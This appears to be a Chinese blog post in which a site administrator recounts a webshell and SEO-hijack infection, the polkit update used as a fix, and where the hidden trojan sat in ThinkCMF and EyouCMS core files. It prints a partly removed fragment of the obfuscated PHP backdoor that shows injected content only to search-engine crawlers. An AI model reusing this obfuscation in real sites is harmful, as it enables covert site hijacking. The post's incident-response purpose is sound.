网站中木马病毒黑帽非法信息处理

网站中木马病毒黑帽非法信息处理
3.17突然收到邮件说我服务器有webshell，发现是有2个网站的缓存文件夹runtime里有后门，但是这个文件夹不能关闭写入权限一旦关闭网站都无法打开。于是只是清理了里面文件还是关闭了写入权限以为没事。
3.24发现很多个网站已经有百度非法快照信息了，我着急了。但是木马病毒就是找不到。于是我修复了一个centos漏洞 polkit pkexec 本地提权漏洞（CVE-2021-4034）
修复方法是：在服务器端命令行执行这2条命令升级polkit
#centos
rpm -qa polkit
yum -y update polkit

然后在一群里有个技术帮找到木马位置，原来这木马隐藏太深杀毒软件也识别不了，这个挂码只拦截搜索引擎流量正常访问看不出来非常的隐蔽狡猾。代码是这样的（防止被人恶意用途删除了部分）：

error_reporting(0);header('Content-Type:text/html;charset=utf-8');$qwe=str_replace("d","","sdtdrd_redpdldadcde");$qaz=$qwe("d","","fdidlded_dgdedtd_dcdodndtdedndtds");$aa=$qwe("w","","dwawtwew_wdwewfwawuwlwtw_

如果是Thinkcmf隐藏的位置在/simplewind/Core/ThinkPHP.php
如果是易优隐藏的位置在/core/base.php 还有 /core/helper.php
在文件里搜索找到他们删除。太恐怖了，若不是群里技术朋友帮忙真的一点办法没有，只能一个个拿之前正常的老源代码去还原。做维护真的很不容易没事还好一旦出问题就是整个网站出问题。
服务器一旦被入侵就是整个网站出事情，工作量非常大。如果找不到原因更麻烦。
所以一定要养成定期备份正常源文件到本地习惯以防止万一可以做替换。
同时也希望大家如果发现其他被感染木马病毒的处理经验分享出来相互学习。

网站中木马病毒黑帽非法信息处理相关推荐

Seo劫持---网站SEO优化中常见的黑帽技术：蜘蛛劫持
很多seo人员喜欢黑帽技术,毕竟那是快速提升排名的方法.但是小编在这里告诫大家:如果你不是专业的黑客,还是放弃这种想法吧,因为那不是一般人能玩的.那么今天小编就来分享一些常见解决办法.下面我们来谈谈网 ...
计算机感染木马或病毒,电脑中木马病毒的症状
大家好,我是时间财富网智能客服时间君,上述问题将由我为大家进行解答. 电脑中木马病毒的症状是: 1.文件或文件夹无故消失当发现电脑中的部分文件或文件夹无缘无故消失,就可以确定电脑已经中了病毒.部分电 ...
opencv中礼帽和黑帽_一流的礼帽
opencv中礼帽和黑帽 Problem statement: 问题陈述: There is a class of N students and the task is to find the top ...
计算机感染木马或病毒后,计算机中木马病毒的症状
大家好,我是Time Fortune.com的明智客户服务.我将为您解答以上问题. 计算机中的木马病毒的症状是: 1.文件或文件夹无故消失如果发山词霸和QQ管理器,这三种主流的国内安全保护软件都具有 ...
服务器中木马病毒问题解决
生产环境一台服务器中了木马病毒,阿里云提示有挖矿程序在运行 top查看cpu占用率达到100%,并且是一个未知程序,停掉后占用率回归正常之后发现存在一些程序被木马病毒替换,包括ps,ss,netst ...
服务器中木马病毒处理（CPU占用率很高）处理办法
参考:https://blog.csdn.net/wkfyynh/article/details/105206990 记录一下这个过程,方便后来人使用.如果遇到权限问题,在所有执行命令前使用sudo ...
linux系统中病毒怎么解决,Linux 服务器中木马病毒及清除过程
一.背景晚上看到有台服务器流量跑的很高,明显和平常不一样,流量达到了800Mbps,第一感觉应该是中木马了,被人当做肉鸡了,在大量发包. 我们的服务器为了最好性能,防火墙(iptables)什么的都 ...
linux 服务器病毒,Linux 服务器中木马病毒及清除过程
一.背景晚上看到有台服务器流量跑的很高,明显和平常不一样,流量达到了800Mbps,第一感觉应该是中木马了,被人当做肉鸡了,在大量发包. 我们的服务器为了最好性能,防火墙(iptables)什么的都 ...
裸奔真的会中木马病毒挖矿病毒 wup.exe 程序文件占用电脑资源
4日晚上,打开任务管理器的时候发现CPU使用一直在80%,是 wup.exe 占用的,同时还占用了2G内存,低优先级运行,用户名 SYSTEM,很不正常,于是开始排查. 发现这玩意是上午十点左右中的, ...

网站中木马病毒黑帽非法信息处理

网站中木马病毒黑帽非法信息处理相关推荐

最新文章

热门文章